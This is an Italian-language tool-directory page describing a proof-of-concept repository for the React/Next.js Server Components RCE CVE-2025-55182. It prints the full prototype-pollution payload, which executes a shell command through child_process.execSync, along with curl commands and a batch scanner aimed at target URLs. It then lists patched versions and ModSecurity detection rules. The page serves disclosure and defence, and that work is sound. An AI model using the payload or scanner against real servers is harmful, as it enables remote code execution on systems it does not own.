Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-55182-POC | Kitploit
Strumenti/GitHubGitHub/huahuai23/cve-2025-55182-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHubhuahuai23/cve-2025-55182-poc

CVE-2025-55182-POC

Vedi Repository
18 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Ambiente di riproduzione delle vulnerabilità CVE-2025-55182 / CVE-2025-66478

Questo è un MVP minimale per riprodurre le vulnerabilità React2Shell (CVE-2025-55182) e Next.js RSC RCE (CVE-2025-66478).

⚠️ Avvertenza

Questo progetto è destinato esclusivamente alla ricerca sulla sicurezza e a scopi educativi. Non utilizzarlo in ambienti di produzione o su sistemi non autorizzati.

Panoramica delle vulnerabilità

CVE-2025-55182 è una vulnerabilità critica nei React Server Components che colpisce:

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: ≥14.3.0-canary.77, ≥15, ≥16

Un attaccante può sfruttare una falla di deserializzazione nel Flight Protocol tramite una richiesta multipart/form-data appositamente costruita per ottenere l'esecuzione remota di codice (RCE).

Principio dell'attacco

  1. Ottenere un riferimento al Chunk: utilizzare la sintassi $@N per recuperare l'oggetto Chunk interno
  2. Inquinamento della catena dei prototipi: iniettare un metodo then dannoso tramite $1:__proto__:then
  3. Attivazione dell'esecuzione: la Server Action chiama il metodo then inquinato durante l'await
  4. Hijacking del costruttore: dirottare _formData.get verso il costruttore Function
  5. Esecuzione del codice: eseguire codice arbitrario tramite la deserializzazione di Blob

Avvio rapido

1. Installare le dipendenze

root@kitploit:~
npm install
# 或
yarn install
# 或
pnpm install

2. Avviare il server di sviluppo

root@kitploit:~
npm run dev

Il server sarà avviato su http://localhost:3000.

3. Testare la vulnerabilità

Utilizza lo script di test fornito:

root@kitploit:~
# 单个目标测试
./test-exploit.sh http://localhost:3000

# 或直接使用 curl
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  --data-binary @exploit-payload.txt

Se la vulnerabilità è presente, vedrai un output simile a uid= nella risposta (il risultato dell'esecuzione del comando id).

Struttura dei file

root@kitploit:~
.
├── app/
│   ├── actions.ts              # Server Actions(漏洞触发点)
│   ├── page.tsx                # 主页面
│   ├── layout.tsx              # 布局
│   └── globals.css             # 全局样式
├── package.json                # 依赖配置(使用受影响版本)
├── next.config.js              # Next.js 配置
├── test-exploit.sh             # 单个目标漏洞测试脚本
├── scan-targets.sh             # 批量扫描脚本
├── exploit-payload.txt         # Exploit payload 文件
├── Cve-2025-55182-modsecurity-rules.conf      # ModSecurity 防护规则
└── README.md                   # 本文件

Descrizione degli script di test

1. test-exploit.sh - Test su un singolo target

Verifica se una singola URL è vulnerabile:

root@kitploit:~
chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000

Caratteristica: se la risposta contiene uid= o gid=, la vulnerabilità è presente.

2. scan-targets.sh - Scansione batch

Scansiona più URL di destinazione:

root@kitploit:~
# 创建目标列表文件
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF

# 执行批量扫描
chmod +x scan-targets.sh
./scan-targets.sh targets.txt

I risultati della scansione verranno salvati in vulnerable_hosts.csv.

Analisi della struttura del Payload

root@kitploit:~
{
  "then": "$1:__proto__:then",           // 劫持 then 方法
  "status": "resolved_model",             // 控制执行路径
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",      // 触发 Blob 反序列化
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"  // 劫持为 Function
    }
  }
}

Punti chiave:

  1. $@0: fa riferimento al primo campo form-data per ottenere l'oggetto Chunk
  2. $1:proto:then: accede a Chunk.prototype.then
  3. _response._prefix: il codice dannoso iniettato (verrà eseguito dal costruttore Function)
  4. $1:constructor:constructor: Object.constructor.constructor = Function

Soluzioni di mitigazione

Opzione 1: Aggiornare a una versione corretta (consigliato)

  • React: 19.0.1, 19.1.2, 19.2.1 o superiore
  • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 o superiore
root@kitploit:~
npm install [email protected] [email protected] [email protected]

Opzione 2: Distribuire le regole ModSecurity WAF (mitigazione temporanea)

Se non è possibile aggiornare immediatamente, puoi distribuire le regole ModSecurity come mitigazione temporanea.

Apache + mod_security

root@kitploit:~
# 1. 安装 mod_security
sudo apt-get install libapache2-mod-security2

# 2. 复制规则文件
sudo cp modsecurity-rules.conf /etc/modsecurity/

# 3. 在 Apache 配置中引入规则
sudo vim /etc/apache2/mods-enabled/security2.conf
# 添加: Include /etc/modsecurity/modsecurity-rules.conf

# 4. 重启 Apache
sudo systemctl restart apache2

Nginx + ModSecurity

root@kitploit:~
# 1. 安装 ModSecurity for Nginx
sudo apt-get install libnginx-mod-security

# 2. 复制规则文件
sudo cp modsecurity-rules.conf /etc/nginx/modsec/

# 3. 在 Nginx 配置中启用
sudo vim /etc/nginx/nginx.conf
# 在 http 或 server 块中添加:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;

# 4. 重启 Nginx
sudo systemctl restart nginx

Caratteristiche rilevate dalle regole

Le regole ModSecurity intercettano le seguenti caratteristiche:

  • ✅ Caratteristiche del Flight Protocol ($@N, $BN)
  • ✅ Inquinamento della catena dei prototipi (__proto__, constructor:constructor)
  • ✅ Chiamate pericolose a moduli Node.js (process.mainModule.require, require('child_process'))
  • ✅ Funzioni di esecuzione di comandi (execSync, exec)
  • ✅ Accesso a oggetti interni (_response, _chunks, _formData, _prefix)
  • ✅ Intestazioni delle Server Action (Next-Action, RSC-Action-ID)

⚠️ Nota: le regole WAF sono solo una mitigazione temporanea e non forniscono una protezione completa. L'aggiornamento a una versione corretta è necessario.

Raccomandazioni di sicurezza

Se la tua applicazione potrebbe essere interessata:

  1. Verifica immediata: usa lo script test-exploit.sh per testare la tua applicazione
  2. Aggiornamento immediato: aggiorna a una versione corretta
  3. Ruota i segreti: ruota tutte le variabili d'ambiente, le chiavi API e le password del database
  4. Audit dei log: esamina i log di accesso per cercare richieste Next-Action sospette
  5. Distribuisci un WAF: distribuisci le regole ModSecurity come protezione temporanea prima dell'aggiornamento

Comando curl per test rapido

Se desideri testare direttamente con curl (senza usare lo script):

root@kitploit:~
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  --data-binary @exploit-payload.txt

Se il risultato contiene uid= o gid=, la vulnerabilità è presente.

Riferimenti

  • Annuncio ufficiale di Vercel
  • React GHSA
  • Next.js GHSA
  • CVE PoC (React)
  • CVE Scanner (Next.js)
  • Documentazione ModSecurity

Riconoscimenti

  • Lachlan Davidson - ha scoperto e segnalato responsabilmente la vulnerabilità
  • Meta Security & React Team
  • Vercel Team

Licenza

Questo progetto è destinato esclusivamente a scopi educativi. Quando utilizzi questo codice, rispetta le leggi e i regolamenti applicabili.

Scarica lo strumento